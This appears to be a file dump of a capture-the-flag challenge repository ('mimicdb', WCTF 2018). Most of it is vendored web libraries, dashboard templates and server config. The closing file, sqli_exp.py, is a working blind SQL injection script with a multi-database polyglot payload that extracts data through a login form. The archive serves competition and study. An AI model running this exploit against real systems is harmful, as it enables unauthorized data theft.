--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # visual_specs.js creates output in output/XXX.png
4 | phantomjs visual_specs.js
5 |
6 | # clear out old diffs
7 | mkdir -p diff
8 | rm -f diff/*
9 |
10 | # generate diffs
11 | PASS=1
12 | for i in exemplary/*.png
13 | do
14 | FN=`basename $i`
15 | perceptualdiff $i output/$FN -output diff/$FN
16 | if [ $? -eq 0 ]
17 | then
18 | echo "OK: $FN"
19 | else
20 | echo "FAIL: $FN"
21 | PASS=0
22 | fi
23 | done
24 |
25 | # pass / fail
26 | if [ $PASS -eq 1 ]
27 | then
28 | echo "Success."
29 | else
30 | echo "Failed."
31 | exit 1
32 | fi
33 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "polymer",
3 | "description": "Polymer is a new type of library for the web, built on top of Web Components, and designed to leverage the evolving web platform on modern browsers.",
4 | "homepage": "http://www.polymer-project.org/",
5 | "keywords": [
6 | "util",
7 | "client",
8 | "browser",
9 | "web components",
10 | "web-components"
11 | ],
12 | "author": "Polymer Authors ",
13 | "private": true,
14 | "dependencies": {
15 | "core-component-page": "Polymer/core-component-page#^0.5",
16 | "webcomponentsjs": "^0.6.0"
17 | },
18 | "devDependencies": {
19 | "tools": "Polymer/tools#master",
20 | "web-component-tester": "*"
21 | },
22 | "version": "0.5.6"
23 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.vsdx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.vsdx
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/polymer.html:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/bind/demo/app-chrome.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Bind Test
6 |
7 |
8 |
9 |
10 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/bind/demo/app.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Bind Test
6 |
7 |
8 |
9 |
10 |
11 |
12 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/focus.html:
--------------------------------------------------------------------------------
1 |
10 |
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/gestures.html:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/log.html:
--------------------------------------------------------------------------------
1 |
10 |
22 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/lang.html:
--------------------------------------------------------------------------------
1 |
10 |
22 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/polymer-lib.html:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/Beaker2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/Beaker2.jpg
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/test-style-path.html:
--------------------------------------------------------------------------------
1 |
10 |
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/smoke/style-path-smoke.html:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/dynamic-imports/inner-element.html:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 |
14 |
15 |
16 | inner-element
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/ready.js:
--------------------------------------------------------------------------------
1 | suite('ready', function() {
2 |
3 | var configure = ['x-ready', 'x-zot#a', 'x-zot#b', 'x-zot#c', 'x-zot#d', 'x-foo#foo', 'x-bar#bar1', 'x-zot', 'x-bar#bar2', 'x-zot'];
4 | var ready = ['x-zot#a', 'x-zot#b', 'x-zot#c', 'x-zot#d', 'x-zot', 'x-bar#bar1', 'x-zot', 'x-bar#bar2', 'x-foo#foo', 'x-ready'];
5 |
6 | test('element create in dom calls configure/ready/attached in proper order', function() {
7 | assert.deepEqual(configureList, configure);
8 | assert.deepEqual(readyList, ready);
9 | });
10 |
11 | test('element create + attach calls configure/ready/attached in proper order', function() {
12 | clearTestLists();
13 | document.body.appendChild(document.createElement('x-ready'));
14 | CustomElements.takeRecords(document);
15 | assert.deepEqual(configureList, configure);
16 | assert.deepEqual(readyList, ready);
17 | });
18 |
19 | });
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/styling-remote-module-sheet.html:
--------------------------------------------------------------------------------
1 |
2 |
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/styling-remote-sheet.css:
--------------------------------------------------------------------------------
1 | :host {
2 | display: block;
3 | border: 1px solid orange;
4 | }
5 |
6 | :host(.wide) {
7 | border-width: 2px;
8 | }
9 |
10 | .container1 > ::content > .content1 {
11 | border: 13px solid navy;
12 | }
13 |
14 | .container2 > ::content .content2 {
15 | border: 14px solid navy;
16 | }
17 |
18 | .computed {
19 | border: 15px solid orange;
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/template-elements.html:
--------------------------------------------------------------------------------
1 | x-inline
2 |
7 |
8 |
9 |
10 |
11 | x-moduley
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "raphael",
3 | "main": "raphael.min.js",
4 | "description": "JavaScript Vector Library",
5 | "dependencies": {
6 | "eve-raphael": "0.5.0"
7 | },
8 | "devDependencies": {
9 | "requirejs": "2.3.2"
10 | },
11 | "moduleType": [
12 | "amd",
13 | "globals",
14 | "node"
15 | ],
16 | "keywords": ["svg", "vml", "javascript"],
17 | "authors": [
18 | "Dmitry Baranovskiy"
19 | ],
20 | "license": "MIT",
21 | "ignore": [
22 | "**/.*",
23 | "*.html",
24 | "*.json",
25 | "*.markdown",
26 | "*.md",
27 | "copy.js",
28 | "Gruntfile.js",
29 | "reference.js"
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/banner.txt:
--------------------------------------------------------------------------------
1 | // ┌───────────────────────────────────────────────────────────────────────────────────────────────────────┐ \\
2 | // │ Raphaël 2.2.0 - JavaScript Vector Library │ \\
3 | // ├───────────────────────────────────────────────────────────────────────────────────────────────────────┤ \\
4 | // │ Copyright © 2008-2016 Dmitry Baranovskiy (http://raphaeljs.com) │ \\
5 | // │ Copyright © 2008-2016 Sencha Labs (http://sencha.com) │ \\
6 | // ├───────────────────────────────────────────────────────────────────────────────────────────────────────┤ \\
7 | // │ Licensed under the MIT (https://github.com/DmitryBaranovskiy/raphael/blob/master/license.txt) license.│ \\
8 | // └───────────────────────────────────────────────────────────────────────────────────────────────────────┘ \\
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/raphael.amd.js:
--------------------------------------------------------------------------------
1 | define(["./raphael.core", "./raphael.svg", "./raphael.vml"], function(R) {
2 |
3 | return R;
4 |
5 | });
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/test/vml/dom.js:
--------------------------------------------------------------------------------
1 | (function() {
2 |
3 | module('DOM');
4 |
5 | })();
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "webcomponentsjs",
3 | "main": "webcomponents.js",
4 | "version": "0.5.5",
5 | "homepage": "http://webcomponents.org",
6 | "authors": [
7 | "The Polymer Authors"
8 | ],
9 | "keywords": [
10 | "webcomponents"
11 | ],
12 | "license": "BSD",
13 | "ignore": [],
14 | "_release": "0.5.5",
15 | "_resolution": {
16 | "type": "version",
17 | "tag": "0.5.5",
18 | "commit": "46f8f2665f7b91e3f248bc9bdb20a29b91f921b5"
19 | },
20 | "_source": "https://github.com/Polymer/webcomponentsjs.git",
21 | "_target": "*",
22 | "_originalSource": "Polymer/webcomponentsjs"
23 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "webcomponentsjs",
3 | "main": "webcomponents.js",
4 | "version": "0.5.5",
5 | "homepage": "http://webcomponents.org",
6 | "authors": [
7 | "The Polymer Authors"
8 | ],
9 | "keywords": [
10 | "webcomponents"
11 | ],
12 | "license": "BSD",
13 | "ignore": []
14 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "webcomponents.js",
3 | "version": "0.5.5",
4 | "description": "webcomponents.js",
5 | "main": "webcomponents.js",
6 | "directories": {
7 | "test": "tests"
8 | },
9 | "repository": {
10 | "type": "git",
11 | "url": "https://github.com/webcomponents/webcomponentsjs.git"
12 | },
13 | "author": "The Polymer Authors",
14 | "license": {
15 | "type": "BSD-3-Clause",
16 | "url": "http://polymer.github.io/LICENSE.txt"
17 | },
18 | "bugs": {
19 | "url": "https://github.com/webcomponents/webcomponentsjs/issues"
20 | },
21 | "homepage": "http://webcomponents.org",
22 | "devDependencies": {
23 | "gulp": "^3.8.8",
24 | "gulp-audit": "^1.0.0",
25 | "gulp-concat": "^2.4.1",
26 | "gulp-header": "^1.1.1",
27 | "gulp-uglify": "^1.0.1",
28 | "run-sequence": "^1.0.1",
29 | "web-component-tester": "*"
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/config.py:
--------------------------------------------------------------------------------
1 | try:
2 | import MySQLdb
3 | except:
4 | import pymysql as MySQLdb
5 | import os
6 | import psycopg2
7 | import pymssql
8 | import sqlite3
9 |
10 | # 不好意思,DB_CONNECTIONS has to be reinitialized, hence defined in user.py
11 |
12 | TERMINAL_TOKENS = {
13 | 'psql': ["'", '$$'],
14 | 'mssql': ["'"]
15 | }
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/loginform.py:
--------------------------------------------------------------------------------
1 | from hashlib import md5
2 |
3 | from wtforms import form, fields, validators
4 | from user import User
5 |
6 |
7 | # Define login and registration forms (for flask-login)
8 | class LoginForm(form.Form):
9 | username = fields.TextField(validators=[validators.required()])
10 | password = fields.PasswordField(validators=[validators.required()])
11 |
12 | def validate_username(self, field):
13 | user = self.get_user()
14 |
15 | if user is None:
16 | raise validators.ValidationError('Invalid user')
17 |
18 | if user.password != md5(self.password.data).hexdigest():
19 | raise validators.ValidationError('Invalid password')
20 |
21 | def get_user(self):
22 | return User.get(self.username.data)
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask
2 | Flask-Admin
3 | Flask-Login
4 | MySQLdb
5 | psycopg2
6 | pymssql
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/run.bat:
--------------------------------------------------------------------------------
1 | :restart
2 | copy app.py.orig app.py
3 | .\app.py
4 | goto restart
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/dashboard/counticon.html:
--------------------------------------------------------------------------------
1 | {% macro count_icon(count, title, icontype, color, url) %}
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
{{count}}
10 |
{{title}}
11 |
12 |
13 |
14 |
15 |
20 |
21 |
22 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/dashboard/donut.html:
--------------------------------------------------------------------------------
1 | {% macro donut(title) %}
2 |
3 |
4 | {{title}}
5 |
6 |
10 |
11 |
12 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/barchart.html:
--------------------------------------------------------------------------------
1 | {% macro flot_bar_chart(header) %}
2 |
3 |
4 |
5 | {{ header }}
6 |
7 |
12 |
13 |
14 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/linechart.html:
--------------------------------------------------------------------------------
1 | {% macro flot_line_chart(header) %}
2 |
3 |
4 | {{ header }}
5 |
6 |
11 |
12 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/movinglinechart.html:
--------------------------------------------------------------------------------
1 | {% macro flot_movingline_chart(header) %}
2 |
3 |
4 | {{ header }}
5 |
6 |
11 |
12 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/multiaxeschart.html:
--------------------------------------------------------------------------------
1 | {% macro flot_multiaxes_chart(header) %}
2 |
3 |
4 | {{header}}
5 |
6 |
11 |
12 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/piechart.html:
--------------------------------------------------------------------------------
1 | {% macro flot_pie_chart(header) %}
2 |
3 |
4 | {{header}}
5 |
6 |
11 |
12 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/areachart.html:
--------------------------------------------------------------------------------
1 | {% macro area_chart(header) %}
2 |
3 |
4 | {{header}}
5 |
6 |
9 |
10 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/barchart.html:
--------------------------------------------------------------------------------
1 | {% macro bar_chart(header) %}
2 |
3 |
4 | {{header}}
5 |
6 |
9 |
10 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/donutchart.html:
--------------------------------------------------------------------------------
1 |
2 | {% macro donut_chart(header) %}
3 |
4 |
5 | {{header}}
6 |
7 |
10 |
11 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/linechart.html:
--------------------------------------------------------------------------------
1 | {% macro line_chart(header) %}
2 |
3 |
4 | {{header}}
5 |
6 |
9 |
10 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/navlink.html:
--------------------------------------------------------------------------------
1 | {% macro nav_link(name, url, active) %}
2 |
3 | {% if name == active %}
4 | {{ name }}
5 | {% else %}
6 | {{ name }}
7 | {% endif %}
8 |
9 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/alert.html:
--------------------------------------------------------------------------------
1 | {% macro alert(title, type, time, url) %}
2 |
3 |
4 | {{title}}
5 | {{time}} minutes ago
6 |
7 |
8 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/messagesummary.html:
--------------------------------------------------------------------------------
1 | {% macro message_summary(receivedon, from, text, url)%}
2 |
3 |
4 |
5 | {{from}}
6 |
7 | {{receivedon}}
8 |
9 |
10 | {{text}}
11 |
12 |
13 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/tasksummary.html:
--------------------------------------------------------------------------------
1 | {% macro task_summary(name, type, completed, url) %}
2 |
3 |
4 |
5 | {{name}}
6 | {{completed}}% Complete
7 |
8 |
9 |
10 | {{completed}}% Complete ({{type}})
11 |
12 |
13 |
14 |
15 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/notifications/alert.html:
--------------------------------------------------------------------------------
1 | {% macro alert(type, text) %}
2 |
3 | {{text|safe}}
4 |
5 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/notifications/dismissablealert.html:
--------------------------------------------------------------------------------
1 | {% macro dismissable_alert(type, text) %}
2 |
3 |
4 | {{text|safe}}
5 |
6 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/accordion.html:
--------------------------------------------------------------------------------
1 | {% macro accordion(header, items) %}
2 |
3 |
4 | {{header}}
5 |
6 |
7 |
8 | {% for item in items %}
9 | {% set id="collapse" + loop.index|string %}
10 | {% set in="" %}
11 | {% if loop.index == 1 %}
12 | {% set in="in" %}
13 | {% endif %}
14 |
15 |
20 |
21 |
22 | {{item.text}}
23 |
24 |
25 |
26 | {% endfor %}
27 |
28 |
29 |
30 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/panel.html:
--------------------------------------------------------------------------------
1 | {% macro panel(paneltype, header, text, footer) %}
2 |
3 |
4 | {{header}}
5 |
6 |
9 |
12 |
13 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/well.html:
--------------------------------------------------------------------------------
1 | {% macro well(type, title, text) %}
2 |
3 |
{{title}}
4 |
{{text}}
5 |
6 | {% endmacro %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/master.html:
--------------------------------------------------------------------------------
1 | {% from "sb-admin/nav.html" import nav_bar with context %}
2 | {% extends 'sb-admin/base.html' %}
3 |
4 | {% block page_body %}
5 |
6 |
7 |
8 | {{nav_bar(admin_view.header)}}
9 |
10 |
11 |
17 | {% block body %}{% endblock %}
18 |
19 |
20 | {% endblock %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/pages/blank.html:
--------------------------------------------------------------------------------
1 |
2 | {% extends "sb-admin/master.html" %}
3 |
4 | {% block body %}
5 | {% endblock %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/pages/dashboard.html:
--------------------------------------------------------------------------------
1 |
2 | {% extends "sb-admin/master.html" %}
3 |
4 |
5 | {% block body %}
6 |
7 |
8 |
9 | {% endblock %}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/redirect.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Please load admin page.
9 |
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/sqli_exp.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | target = '192.168.23.130:5000'
4 |
5 | payload = '''" or 1=1# $$ or 1=1 -- ' or ascii(substring((%s),%s,1))>%s -- a'''
6 | query = "select host_name()"
7 |
8 | query = "select routine_definition from master.information_schema.routines where routine_name='sp_logEvent'"
9 |
10 | s = requests.Session()
11 |
12 | res = ''
13 | for i in xrange(1, 100):
14 | l, r = 0, 128
15 | while l < r - 1:
16 | m = (l + r) / 2
17 | u = payload % (query, i, m)
18 | t = max([('Invalid password' in s.post('http://%s/admin/login/' % target, data={'username': u, 'password': 'asd'}, headers={'Content-Type': 'application/x-www-form-urlencoded'}).text) for _ in xrange(15)])
19 | print l, r, t, u
20 | if t == False:
21 | r = m
22 | else:
23 | l = m
24 | res += chr(r)
25 | print 'NOW', res
26 |
27 |
--------------------------------------------------------------------------------